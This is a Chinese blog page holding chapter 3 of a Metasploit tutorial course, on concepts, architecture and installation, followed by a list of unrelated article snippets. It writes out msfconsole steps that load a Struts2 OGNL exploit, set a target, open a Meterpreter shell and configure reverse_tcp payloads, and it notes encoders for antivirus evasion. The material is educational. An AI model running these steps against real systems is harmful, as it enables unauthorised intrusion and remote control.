当前位置: 首页 > news >正文

Metasploit入门到高级【第三章】

来自公粽号:Kali与编程
预计更新

第一章:Metasploit 简介

  • Metasploit 是什么
  • Metasploit 的历史和发展
  • Metasploit 的组成部分

第二章:Kali Linux 入门

  • Kali Linux 简介
  • Kali Linux 安装和配置
  • 常用命令和工具介绍

第三章:Metasploit 基础

  • Metasploit 的基本概念
  • Metasploit 架构和工作原理
  • Metasploit 的安装和配置

第四章:信息收集

  • 信息收集的重要性
  • 扫描技术和工具介绍
  • 如何使用 Metasploit 进行信息收集

第五章:漏洞扫描与利用

  • 漏洞扫描的原理和方法
  • Metasploit 的漏洞扫描和利用模块
  • 常见漏洞的利用方法和技巧

第六章:远程控制

  • 远程控制的原理和方法
  • Metasploit 的远程控制模块
  • 如何使用 Metasploit 进行远程控制

第七章:社会工程学攻击

  • 社会工程学攻击的原理和方法
  • Metasploit 的社会工程学模块
  • 如何使用 Metasploit 进行社会工程学攻击

第八章:漏洞开发

  • 漏洞开发的基本原理
  • Metasploit 的漏洞开发模块
  • 如何使用 Metasploit 进行漏洞开发

第九章:Metasploit 高级应用

  • Metasploit 的高级应用技巧和方法
  • 如何使用 Metasploit 进行信息窃取、渗透测试等高级操作

第十章:Metasploit 案例分析

  • 一些真实的 Metasploit 攻击案例分析和总结
  • 对于 Metasploit 使用者的建议和注意事项

结语:未来展望

  • Metasploit 的未来发展趋势
  • Metasploit 的优缺点及其在安全领域中的作用

第三章:Metasploit 基础

  • Metasploit 的基本概念
  • Metasploit 架构和工作原理
  • Metasploit 的安装和配置
Metasploit 的基本概念

Metasploit是一款强大的安全工具,它可以帮助渗透测试人员和安全专家发现、评估和利用计算机系统中的各种安全漏洞。Metasploit具有广泛的应用场景,包括企业网络、Web应用程序、移动设备和物联网等领域。本文将介绍Metasploit的基本概念、架构、模块和使用方法。

一、Metasploit的基本概念

  1. Metasploit Framework

Metasploit Framework是Metasploit项目的核心组件,它是一个开源的攻击框架,提供了多种攻击模块和工具,可以帮助用户进行渗透测试和漏洞利用。Metasploit Framework包括多个子模块,如exploit、payload、auxiliary和post等,每个子模块都有不同的功能和用途。

  1. Exploit

Exploit是Metasploit Framework中最重要的模块之一,它是指用于利用计算机系统中存在的各种漏洞的程序或脚本。Exploit模块可以自动化执行攻击过程,并尝试获取系统的权限。

  1. Payload

Payload是Metasploit Framework中的另一个重要模块,它是指用于利用漏洞后在目标系统上执行的恶意代码。Payload通常包括程序、脚本或shellcode等,可以用于远程控制目标系统、执行命令、获取系统信息等操作。

  1. Auxiliary

Auxiliary是Metasploit Framework中的辅助模块,它通常用于扫描、嗅探和探测目标系统的漏洞和服务。Auxiliary模块不会执行攻击行为,而是提供了一些辅助功能,如端口扫描、DNS查询、FTP爆破等。

  1. Post

Post是Metasploit Framework中的后渗透模块,它用于在成功入侵目标系统后执行各种后续操作。Post模块可以帮助用户收集目标系统的信息、获取敏感数据、执行命令等操作,从而更好地维持访问权限。

  1. Meterpreter

Meterpreter是Metasploit Framework中的一个强大的后渗透工具,它是一种多平台的恶意代码,可以在目标系统上执行各种操作。Meterpreter可以提供交互式Shell访问、文件上传下载、远程桌面访问、键盘记录等功能,可用于深度渗透测试和攻击。

  1. Module

Module是Metasploit Framework中的基本单元,它是一段代码或脚本,用于执行特定的任务或实现特定的功能。Module可以包括Exploit、Payload、Auxiliary或Post等不同类型的模块。

二、Metasploit的架构

Metasploit Framework采用了模块化的设计思想,它的架构包括以下几个主要组件:

  1. Console

Console是Metasploit Framework的用户界面,提供了交互式的命令行接口和图形化的Web界面。通过Console,用户可以执行各种操作,如模块加载、漏洞扫描、渗透测试等。

  1. RPC Server

RPC Server提供了一个远程调用接口,使得Metasploit Framework可以通过网络连接进行控制和管理。RPC Server可以用于多种应用场景,如在大规模渗透测试中集中管理多个Metasploit实例、远程协作和监控等。

  1. Database

Database是Metasploit Framework的数据存储组件,用于保存各种配置信息、漏洞扫描结果、渗透测试记录等数据。Metasploit Framework支持多种数据库,包括SQLite、MySQL和PostgreSQL等,用户可以根据需要选择合适的数据库类型。

  1. Payload Generator

Payload Generator是Metasploit Framework中的一个工具,用于生成不同类型的Payload。Payload Generator可以自定义Payload的属性(如IP地址、端口号、编码方式等),以适应不同的攻击场景和目标系统。

  1. Exploit Database

Exploit Database是Metasploit项目的另一个核心组件,它是一个在线漏洞库,包含了大量已知的漏洞和对应的Exploit模块。用户可以通过Exploit Database查找特定的漏洞和Exploit模块,快速确定是否存在安全风险,并选择合适的工具进行漏洞利用。

三、Metasploit的模块

  1. Exploit模块

Exploit模块是Metasploit Framework中最重要的模块之一,用于利用目标系统中的各种漏洞。Exploit模块通常包括多个子模块,如payload、encoder、nop、auxiliary等。

  • Payload

Payload是Exploit模块中的一个子模块,用于实现攻击成功后在目标系统上执行的代码。Payload可以包括程序、脚本或shellcode等,用于获取系统权限、远程控制目标系统、执行命令等操作。

  • Encoder

Encoder是Exploit模块中的另一个子模块,用于对Payload进行编码和加密。Encoder可以增强Payload的免杀能力,使得Payload不易被杀毒软件和入侵检测系统识别。

  • NOP

NOP是Exploit模块中的一个子模块,用于在执行payload代码前填充一些无意义的指令(如nop、mov eax, eax等),以防止攻击者使用特定的攻击签名进行检测。

  • Auxiliary

Auxiliary是Metasploit Framework中的辅助模块,与Exploit模块不同,它不会执行真正的攻击行为,而是提供了一些辅助功能,如端口扫描、DNS查询、FTP爆破等。

  1. Post模块

Post模块是Metasploit Framework中的后渗透模块,用于在成功入侵目标系统后执行各种后续操作。Post模块可以帮助用户收集目标系统的信息、获取敏感数据、执行命令等操作,从而更好地维持访问权限。

  1. Payload Generator

Payload Generator是Metasploit Framework中的一个工具,用于生成不同类型的Payload。Payload Generator可以自定义Payload的属性(如IP地址、端口号、编码方式等),以适应不同的攻击场景和目标系统。

  1. Meterpreter

Meterpreter是Metasploit Framework中的一个强大的后渗透工具,它是一种多平台的恶意代码,可以在目标系统上执行各种操作。Meterpreter可以提供交互式Shell访问、文件上传下载、远程桌面访问、键盘记录等功能,可用于深度渗透测试和攻击。

四、Metasploit的使用方法

  1. 安装Metasploit Framework

Metasploit Framework可以在Linux、Windows和Mac OS X等多种操作系统中安装和运行。用户可以从Metasploit官方网站(https://metasploit.com/)下载并安装最新版本的Metasploit Framework。

  1. 启动Metasploit Console

Metasploit Console是Metasploit Framework的默认用户界面,用户可以通过启动Console进入Metasploit Framework控制台。

  1. 搜索Exploit模块

用户可以通过search命令在Met asploit Framework中搜索Exploit模块。例如,要搜索与Apache Struts有关的Exploit模块,可以使用以下命令:

msf6 > search Apache Struts

搜索结果会列出所有与Apache Struts相关的Exploit模块。

  1. 加载Exploit模块

用户可以使用use命令加载Exploit模块,例如:

msf6 > use exploit/multi/http/struts2_content_type_ognl

这将加载一个针对Apache Struts漏洞的Exploit模块,并进入该模块的上下文环境。

  1. 设置Exploit参数

用户需要设置一些参数来配置Exploit模块,例如目标IP地址、端口号和Payload类型等。Metasploit Framework提供了set命令来设置Exploit模块的参数。例如,要设置目标IP地址为192.168.1.100,可以使用以下命令:

msf6 exploit(multi/http/struts2_content_type_ognl) > set RHOST 192.168.1.100
  1. 运行Exploit模块

当Exploit模块参数设置完成后,用户可以通过exploit命令来运行Exploit模块。Metasploit Framework会自动执行攻击并尝试获取系统权限。例如,要运行刚才加载的Exploit模块,可以使用以下命令:

msf6 exploit(multi/http/struts2_content_type_ognl) > exploit
  1. 使用Meterpreter

如果Exploit成功获取了目标系统的权限,用户可以使用Meterpreter来进行后续操作。例如,要使用Meterpreter在目标系统上执行命令,可以使用以下命令:

msf6 exploit(multi/http/struts2_content_type_ognl) > sessions -i 1
meterpreter > shell

这将打开一个交互式Shell访问,允许用户在目标系统上执行各种命令。

总结

Metasploit是一款强大的安全工具,它可以帮助渗透测试人员和安全专家发现、评估和利用计算机系统中的各种安全漏洞。Metasploit Framework采用了模块化的设计思想,提供了多种攻击模块和工具,可用于深度渗透测试和攻击。本文介绍了Metasploit的基本概念、架构、模块和使用方法,希望能对读者有所帮助。

Metasploit 架构和工作原理

Metasploit Framework是一款常用的渗透测试和漏洞利用工具,它采用模块化的设计思想,提供了多种攻击模块和工具,可以帮助用户发现、评估和利用计算机系统中的各种安全漏洞。本文将介绍Metasploit的架构和工作原理,包括Metasploit Framework的组件、数据流程和核心技术。

一、Metasploit Framework的组件

Metasploit Framework的架构由多个组件组成,其中最重要的组件包括Console、RPC Server、Database、Payload Generator、Exploit Database和Module等。

  1. Console

Console是Metasploit Framework的用户界面,提供了交互式的命令行接口和图形化的Web界面。通过Console,用户可以执行各种操作,如模块加载、漏洞扫描、渗透测试等。

  1. RPC Server

RPC Server提供了一个远程调用接口,使得Metasploit Framework可以通过网络连接进行控制和管理。RPC Server可以用于多种应用场景,如在大规模渗透测试中集中管理多个Metasploit实例、远程协作和监控等。

  1. Database

Database是Metasploit Framework的数据存储组件,用于保存各种配置信息、漏洞扫描结果、渗透测试记录等数据。Metasploit Framework支持多种数据库,包括SQLite、MySQL和PostgreSQL等,用户可以根据需要选择合适的数据库类型。

  1. Payload Generator

Payload Generator是Metasploit Framework中的一个工具,用于生成不同类型的Payload。Payload Generator可以自定义Payload的属性(如IP地址、端口号、编码方式等),以适应不同的攻击场景和目标系统。

  1. Exploit Database

Exploit Database是Metasploit项目的另一个核心组件,它是一个在线漏洞库,包含了大量已知的漏洞和对应的Exploit模块。用户可以通过Exploit Database查找特定的漏洞和Exploit模块,快速确定是否存在安全风险,并选择合适的工具进行漏洞利用。

  1. Module

Module是Metasploit Framework中的基本单元,它是一段代码或脚本,用于执行特定的任务或实现特定的功能。Module可以包括Exploit、Payload、Auxiliary或Post等不同类型的模块。

二、Metasploit Framework的数据流程

Metasploit Framework的工作流程可以简单地描述为:选择目标 → 扫描漏洞 → 利用漏洞 → 维持访问权限。

  1. 选择目标

在使用Metasploit Framework进行渗透测试和漏洞利用之前,用户需要先选择一个或多个目标系统。Metasploit Framework支持多种目标系统,包括网络设备、Web应用程序、移动设备和物联网等。

  1. 扫描漏洞

一旦选择了目标系统,用户就需要使用Metasploit Framework中的扫描模块来发现目标系统中的漏洞和弱点。扫描模块可以帮助用户识别系统中存在的漏洞、开放的端口和服务等信息,为后续攻击做好准备。

  1. 利用漏洞

在发现目标系统中存在的漏洞后,用户可以使用Metasploit Framework中的Exploit模块来尝试利用这些漏洞。Exploit模块可以自动执行攻击过程,并尝试获取系统的权限。如果Exploit成功获取了目标系统的权限,用户可以使用Meterpreter来进行后续操作。

  1. 维持访问权限

当用户成功入侵目标系统后,需要维持对该系统的访问权限以便执行更多操作。在Metasploit Framework中,用户可以使用Post模块和Meterpreter来实现这一目标。Post模块是用于执行后渗透操作的模块,它可以帮助用户收集目标系统的信息、获取敏感数据、执行命令等操作,从而更好地维持访问权限。Meterpreter是Metasploit Framework中的一个强大的后渗透工具,它是一种多平台的恶意代码,可以在目标系统上执行各种操作。Meterpreter可以提供交互式Shell访问、文件上传下载、远程桌面访问、键盘记录等功能,可用于深度渗透测试和攻击。

三、Metasploit Framework的核心技术

Metasploit Framework采用了多种先进的技术,使得其成为一款功能强大的安全工具。以下是其中几个核心技术:

  1. 模块化设计

Metasploit Framework采用了模块化的设计思想,将不同类型的模块分离开来,使得用户可以灵活地选择和组合不同的模块。这种模块化的设计使得Metasploit Framework能够适应不同的攻击场景和目标系统,并提高了攻击的成功率和效率。

  1. 自动化攻击

Metasploit Framework的Exploit模块可以自动执行攻击过程,并尝试获取系统权限,这大大提高了攻击的成功率和效率。同时,Meterpreter也提供了丰富的自动化功能,如文件上传下载、远程桌面访问等,使得用户可以更方便地进行后续操作。

  1. Payload混淆技术

Payload是Metasploit Framework中的一个重要组件,它用于实现攻击成功后在目标系统上执行的代码。为了避免Payload被杀毒软件和入侵检测系统识别,Metasploit Framework采用了Payload混淆技术。这种技术可以将Payload进行编码、加密和压缩等处理,使得Payload更难以被检测和拦截。

  1. Metasploit Console

Metasploit Console是Metasploit Framework的默认用户界面,提供了交互式的命令行接口和图形化的Web界面。Metasploit Console可以帮助用户管理和控制Metasploit Framework的各种组件和模块,从而更方便地进行渗透测试和漏洞利用。

  1. Meterpreter

Meterpreter是Metasploit Framework中的一个强大的后渗透工具,它是一种多平台的恶意代码,可以在目标系统上执行各种操作。Meterpreter可以提供交互式Shell访问、文件上传下载、远程桌面访问、键盘记录等功能,可用于深度渗透测试和攻击。Meterpreter还支持隧道技术,可以在网络层对数据进行加密和隐藏,提高了攻击的隐蔽性和安全性。

四、总结

Metasploit Framework是一款功能强大、易用性高的安全工具,它采用模块化的设计思想,提供了多种攻击模块和工具,可以帮助用户发现、评估和利用计算机系统中的各种安全漏洞。Metasploit Framework的核心技术包括模块化设计、自动化攻击、Payload混淆技术、Metasploit Console和Meterpreter等。通过熟练掌握Metasploit Framework的使用方法和原理,用户可以更好地进行渗透测试和漏洞利用,提高系统安全性。

Metasploit Framework的数据流程包括选择目标、扫描漏洞、利用漏洞和维持访问权限等步骤。用户可以使用Metasploit Framework中的不同模块和工具来完成这些步骤,并执行各种操作。

Metasploit Framework的架构由多个组件组成,包括Console、RPC Server、Database、Payload Generator、Exploit Database和Module等。这些组件共同协作,使得Metasploit Framework能够实现各种功能和操作。

总之,Metasploit Framework是一款必备的安全工具,对于渗透测试人员和安全专家来说十分重要。熟练掌握Metasploit Framework的使用方法和原理,可以帮助用户更好地发现、评估和利用计算机系统中的各种安全漏洞,提高系统的安全性。

Metasploit 的安装和配置

Metasploit Framework是一款常用的渗透测试和漏洞利用工具,它采用模块化的设计思想,提供了多种攻击模块和工具,可以帮助用户发现、评估和利用计算机系统中的各种安全漏洞。本文将介绍Metasploit的安装和配置,包括不同操作系统的安装方法和常用配置选项。

一、Windows系统下的安装和配置

  1. 下载安装程序

首先需要下载Metasploit Framework的安装程序,可以从官方网站(https://www.metasploit.com/)或者第三方下载站点上下载。选择Windows版本的安装程序(msfsetup.exe),然后双击运行进行安装。

  1. 安装过程

在安装过程中,需要指定Metasploit Framework的安装路径和数据库类型等设置。可以使用默认设置,也可以根据需要进行自定义设置。

  1. 启动Metasploit Console

安装完成后,可以通过开始菜单中的“Metasploit Framework”选项启动Metasploit Console。启动后,控制台会自动连接到本地主机上的Metasploit RPC Server,并加载默认的Exploit和Payload模块。

  1. 配置选项

在Metasploit Console中,可以通过设置不同的选项来定制Metasploit Framework的行为。常用的配置选项包括:LHOST和LPORT(指定本地IP地址和端口号)、RHOST和RPORT(指定目标IP地址和端口号)、PAYLOAD(选择不同类型的Payload)等。可以使用set命令来设置这些选项,如:

msf6 > set LHOST 192.168.1.100
msf6 > set LPORT 4444
msf6 > set RHOST 192.168.1.200
msf6 > set RPORT 80
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp

二、Linux系统下的安装和配置

  1. 下载安装程序

在Linux系统中,可以通过包管理器或官方网站下载和安装Metasploit Framework。根据不同的发行版和版本,可以使用不同的命令和方式进行安装。以Ubuntu为例,在终端中执行以下命令即可下载和安装Metasploit Framework:

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install metasploit-framework
  1. 启动Metasploit Console

安装完成后,可以在终端中启动Metasploit Console。输入以下命令即可启动控制台:

msfconsole
  1. 配置选项

在Metasploit Console中,可以使用set命令来设置不同的选项。常用的配置选项包括:LHOST和LPORT(指定本地IP地址和端口号)、RHOST和RPORT(指定目标IP地址和端口号)、PAYLOAD(选择不同类型的Payload)等。例如:

msf6 > set LHOST 192.168.1.100
msf6 > set LPORT 4444
msf6 > set RHOST 192.168.1.200
msf6 > set RPORT 80
msf6 > set PAYLOAD linux/x86/meterpreter/reverse_tcp

三、常用配置选项

  1. LHOST和LPORT

LHOST和LPORT是Metasploit Framework中的两个重要的配置选项,它们分别指定了本地主机的IP地址和端口号。在Exploit和Payload模块中,需要使用这些选项来建立反向连接或监听器。通常情况下,LHOST可以设置为本地主机的IP地址(如192.168.1.100),LPORT可以设置为任意未被占用的端口号(如4444)。

  1. RHOST和RPORT

RHOST和RPORT是Metasploit Framework中另外两个重要的配置选项,它们分别指定了目标系统的IP地址和端口号。在Exploit和Payload模块中,需要使用这些选项来连接到目标系统或向其发送攻击载荷。通常情况下,RHOST可以设置为目标系统的IP地址(如192.168.1.200),RPORT可以设置为目标系统上开放的服务端口号(如80)。

  1. PAYLOAD

PAYLOAD是Metasploit Framework中的另一个重要的配置选项,它指定了将在目标系统上执行的Payload类型。Payload是一种用于实现攻击后渗透的代码,可以提供交互式Shell访问、文件上传下载、远程桌面访问等功能。在选择Payload时,需要考虑目标系统的操作系统类型和版本、防护措施等因素。例如,对于Windows系统,可以选择windows/meterpreter/reverse_tcp或者windows/shell_reverse_tcp等Payload;对于Linux系统,可以选择linux/x86/meterpreter/reverse_tcp或者linux/x64/shell_reverse_tcp等Payload。

  1. Encoder

Encoder是Metasploit Framework中用于混淆Payload的工具,可以将Payload进行编码、加密和压缩等处理,使得Payload更难以被检测和拦截。在使用Encoder时,需要根据Payload类型和目标系统的防护措施选择合适的Encoder。常用的Encoder包括xor、shikata_ga_nai和unicode等。

  1. NOP Generator

NOP Generator是Metasploit Framework中用于生成NOP(No-operation)的工具,可以在攻击载荷中插入一些无效的指令,从而混淆攻击载荷,提高攻击的成功率。在使用NOP Generator时,需要根据Payload类型和目标系统的防护措施选择合适的NOP Generator。

四、总结

Metasploit Framework是一款强大的渗透测试和漏洞利用工具,可以帮助用户发现、评估和利用计算机系统中的各种安全漏洞。在使用Metasploit Framework时,需要先进行安装和配置,并设置不同的选项和参数来定制Metasploit Framework的行为。常用的配置选项包括LHOST、LPORT、RHOST、RPORT、PAYLOAD、Encoder和NOP Generator等。熟练掌握Metasploit Framework的安装和配置方法,可以更好地利用其功能和特性,提高渗透测试和漏洞利用的效果和效率。

相关文章:

Metasploit入门到高级【第三章】

来自公粽号:Kali与编程预计更新第一章:Metasploit 简介 Metasploit 是什么Metasploit 的历史和发展Metasploit 的组成部分 第二章:Kali Linux 入门 Kali Linux 简介Kali Linux 安装和配置常用命令和工具介绍 第三章:Metasploi…...

枚举的使用

Java 枚举是一个特殊的类,一般表示一组常量,比如一年的 4 个季节,一个年的 12 个月份,一个星期的 7 天,方向有东南西北等。1 问题如何在类中使用枚举,例如枚举出一年的四个季度,并且通过迭代枚举…...

Python进阶语法

1.1 Python进阶语法 1.1.1 交换变量 一行代码快速交换两个变量&#xff0c;无需创建临时变量。 from icecream import ica 2 b 4 a, b b, a ic(a, b)ic| a: 4, b: 2 1.1.2 链式比较 from icecream import ica 97 if 90 < a < 100:ic(a)ic| a: 97 1.1.3 初始化列表…...

Pyspark_结构化流4

Pyspark 注&#xff1a;大家觉得博客好的话&#xff0c;别忘了点赞收藏呀&#xff0c;本人每周都会更新关于人工智能和大数据相关的内容&#xff0c;内容多为原创&#xff0c;Python Java Scala SQL 代码&#xff0c;CV NLP 推荐系统等&#xff0c;Spark Flink Kafka Hbase Hi…...

Linux cmp 命令

Linux cmp 命令用于比较两个文件是否有差异。 当相互比较的两个文件完全一样时&#xff0c;则该指令不会显示任何信息。若发现有所差异&#xff0c;预设会标示出第一个不同之处的字符和列数编号。若不指定任何文件名称或是所给予的文件名为"-"&#xff0c;则cmp指令…...

Python入门到高级【第五章】

预计更新第一章. Python 简介 Python 简介和历史Python 特点和优势安装 Python 第二章. 变量和数据类型 变量和标识符基本数据类型&#xff1a;数字、字符串、布尔值等字符串操作列表、元组和字典 第三章. 控制语句和函数 分支结构&#xff1a;if/else 语句循环结构&#…...

C语言中(i++)+ (i++)真的每次都等于3吗?

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录前言结论证明首先&#xff0c;登场的是我们的VC6.0&#xff08;还有Linux&#xff09;最后一位&#xff0c;我使用了小熊猫C&#xff08;还有Clion&#xff09;请添加…...

Cursor,程序员的 AI 代码编辑助手

相信大家都或多或少地听说过、了解过 chatGPT &#xff0c;半个月前发布的 GPT-4 &#xff0c;可谓是 AI 赛道上的一个王炸 那么今天咸鱼给大家分享一个开源的 AI 代码编辑器——Cursor&#xff0c;让各位程序员在编程之路上一骑绝尘 &#x1f603; 介绍 Cursor 是一个人工智…...

基于XML的自动装配~

基于XML的自动装配之场景模拟&#xff1a; 自动装配&#xff1a;根据指定的策略&#xff0c;在IOC容器中匹配某一个bean&#xff0c;自动为指定的bean中所依赖的类类型或者接口类型赋值 之前我们学过的依赖注入&#xff0c;我们在为不同属性赋值时&#xff0c;例如类类型的属性…...

完全二叉树的4种遍历方式

一张二叉树的图 1&#xff0c;二叉树的特点 每个点p的左儿子是p*2,右儿子是p*21&#xff0c;可以分别表示为p<<1与p<<1|1节点的序号是从左到右&#xff0c;从上到下增加的每个点至多2个儿子&#xff08;屁话&#xff08;bushi&#xff09;&#xff09; 2&#xff…...

【vue2】使用elementUI进行表单验证实操(附源码)

&#x1f973;博 主&#xff1a;初映CY的前说(前端领域) &#x1f31e;个人信条&#xff1a;想要变成得到&#xff0c;中间还有做到&#xff01; &#x1f918;本文核心&#xff1a;vue使用elementUI进行表单验证实操&#xff08;附源码&#xff09; 【前言】我们在构建一…...

JUC之阻塞队列解读(BlockingQueue)

目录 BlockingQueue 简介 BlockingQueue 核心方法 1.放入数据 2.获取数据 入门代码案例 常见的 BlockingQueue ArrayBlockingQueue(常用) LinkedBlockingQueue(常用) PriorityBlockingQueue SynchronousQueue LinkedTransferQueue LinkedBlockingDeque 小结 Bloc…...

LCHub:ChatGPT4和低代码来临,程序员面临下岗?

一个网友吐槽道: “ 建站出来了,你们说程序员会失业。 低代码出来了,你们说程序员会失业。 Copilot出来了,你们说程序员会失业。 Chatgpt出来了,你们说程序员会失业 虽然这只是网友的吐槽,但却引起了小编的好奇。为何程序员那么容易被新技术取代?今天小编打算跟大家…...

【Node.js】Express框架的基本使用

✍️ 作者简介: 前端新手学习中。 &#x1f482; 作者主页: 作者主页查看更多前端教学 &#x1f393; 专栏分享&#xff1a;css重难点教学 Node.js教学 从头开始学习 目录 初识Express Express简介 什么是Express 进一步理解 Express Express能做什么 Express的基本使用 …...

使用docker 和 kubnernetes 部署单节点/多节点 kafka 环境

参考资料 https://kafka.apachecn.org/documentation.html#configuration kafka的broker有三个核心配置 broker.idlog.dirszookeeper.connect docker启动单节点kafka环境 启动zookeeper 可配置的环境变量&#xff0c;https://gallery.ecr.aws/bitnami/zookeeper $ docker …...

Linux使用:环境变量指南和CPU和GPU利用情况查看

Linux使用&#xff1a;环境变量指南和CPU和GPU利用情况查看Linux环境变量初始化与对应文件的生效顺序Linux的变量种类设置环境变量直接运行export命令定义变量修改系统环境变量修改用户环境变量修改环境变量配置文件环境配置文件的区别profile、 bashrc、.bash_profile、 .bash…...

深入浅出 SSL/CA 证书及其相关证书文件(pem、crt、cer、key、csr)

互联网是虚拟的&#xff0c;通过互联网我们无法正确获取对方真实身份。数字证书是网络世界中的身份证&#xff0c;数字证书为实现双方安全通信提供了电子认证。数字证书中含有密钥对所有者的识别信息&#xff0c;通过验证识别信息的真伪实现对证书持有者身份的认证。数字证书可…...

Compose(1/N) - 概念 基本使用

一、概念 1.1 解决的问题 APP展示的数据绝大多数不是静态数据而是会实时更新&#xff0c;传统的命令式UI写法更新界面繁琐且容易同步错误。1.2 Compose优势 由一个个可组合的Composable函数&#xff08;可看作是一个Layout布局&#xff09;拼成界面&#xff0c;方便维护和复用…...

2023高质量Java面试题集锦:高级Java工程师面试八股汇总

人人都想进大厂&#xff0c;当然我也不例外。早在春招的时候我就有向某某某大厂投岗了不少简历&#xff0c;可惜了&#xff0c;疫情期间都是远程面试&#xff0c;加上那时自身也有问题&#xff0c;导致屡投屡败。突然也意识到自己肚子里没啥货&#xff0c;问个啥都是卡卡卡卡&a…...

MySQL多表查询 子查询效率(DQL语句)

多表关系 项目开发中&#xff0c;在进行数据库表结构设计时&#xff0c;会根据业务需求及业务模块之间的关系&#xff0c;分析并设计表结构&#xff0c;由于业务之间相互关联&#xff0c;所以各个表结构之间也存在着各种联系&#xff0c;基本上分为三种&#xff1a; 一对多(多…...

Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以?

Golang 面试经典题&#xff1a;map 的 key 可以是什么类型&#xff1f;哪些不可以&#xff1f; 在 Golang 的面试中&#xff0c;map 类型的使用是一个常见的考点&#xff0c;其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...

IGP(Interior Gateway Protocol,内部网关协议)

IGP&#xff08;Interior Gateway Protocol&#xff0c;内部网关协议&#xff09; 是一种用于在一个自治系统&#xff08;AS&#xff09;内部传递路由信息的路由协议&#xff0c;主要用于在一个组织或机构的内部网络中决定数据包的最佳路径。与用于自治系统之间通信的 EGP&…...

【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)

可以使用Sqliteviz这个网站免费编写sql语句&#xff0c;它能够让用户直接在浏览器内练习SQL的语法&#xff0c;不需要安装任何软件。 链接如下&#xff1a; sqliteviz 注意&#xff1a; 在转写SQL语法时&#xff0c;关键字之间有一个特定的顺序&#xff0c;这个顺序会影响到…...

python如何将word的doc另存为docx

将 DOCX 文件另存为 DOCX 格式&#xff08;Python 实现&#xff09; 在 Python 中&#xff0c;你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是&#xff0c;.doc 是旧的 Word 格式&#xff0c;而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...

什么是EULA和DPA

文章目录 EULA&#xff08;End User License Agreement&#xff09;DPA&#xff08;Data Protection Agreement&#xff09;一、定义与背景二、核心内容三、法律效力与责任四、实际应用与意义 EULA&#xff08;End User License Agreement&#xff09; 定义&#xff1a; EULA即…...

dify打造数据可视化图表

一、概述 在日常工作和学习中&#xff0c;我们经常需要和数据打交道。无论是分析报告、项目展示&#xff0c;还是简单的数据洞察&#xff0c;一个清晰直观的图表&#xff0c;往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server&#xff0c;由蚂蚁集团 AntV 团队…...

用机器学习破解新能源领域的“弃风”难题

音乐发烧友深有体会&#xff0c;玩音乐的本质就是玩电网。火电声音偏暖&#xff0c;水电偏冷&#xff0c;风电偏空旷。至于太阳能发的电&#xff0c;则略显朦胧和单薄。 不知你是否有感觉&#xff0c;近两年家里的音响声音越来越冷&#xff0c;听起来越来越单薄&#xff1f; —…...

逻辑回归暴力训练预测金融欺诈

简述 「使用逻辑回归暴力预测金融欺诈&#xff0c;并不断增加特征维度持续测试」的做法&#xff0c;体现了一种逐步建模与迭代验证的实验思路&#xff0c;在金融欺诈检测中非常有价值&#xff0c;本文作为一篇回顾性记录了早年间公司给某行做反欺诈预测用到的技术和思路。百度…...

绕过 Xcode?使用 Appuploader和主流工具实现 iOS 上架自动化

iOS 应用的发布流程一直是开发链路中最“苹果味”的环节&#xff1a;强依赖 Xcode、必须使用 macOS、各种证书和描述文件配置……对很多跨平台开发者来说&#xff0c;这一套流程并不友好。 特别是当你的项目主要在 Windows 或 Linux 下开发&#xff08;例如 Flutter、React Na…...

[特殊字符] 手撸 Redis 互斥锁那些坑

&#x1f4d6; 手撸 Redis 互斥锁那些坑 最近搞业务遇到高并发下同一个 key 的互斥操作&#xff0c;想实现分布式环境下的互斥锁。于是私下顺手手撸了个基于 Redis 的简单互斥锁&#xff0c;也顺便跟 Redisson 的 RLock 机制对比了下&#xff0c;记录一波&#xff0c;别踩我踩过…...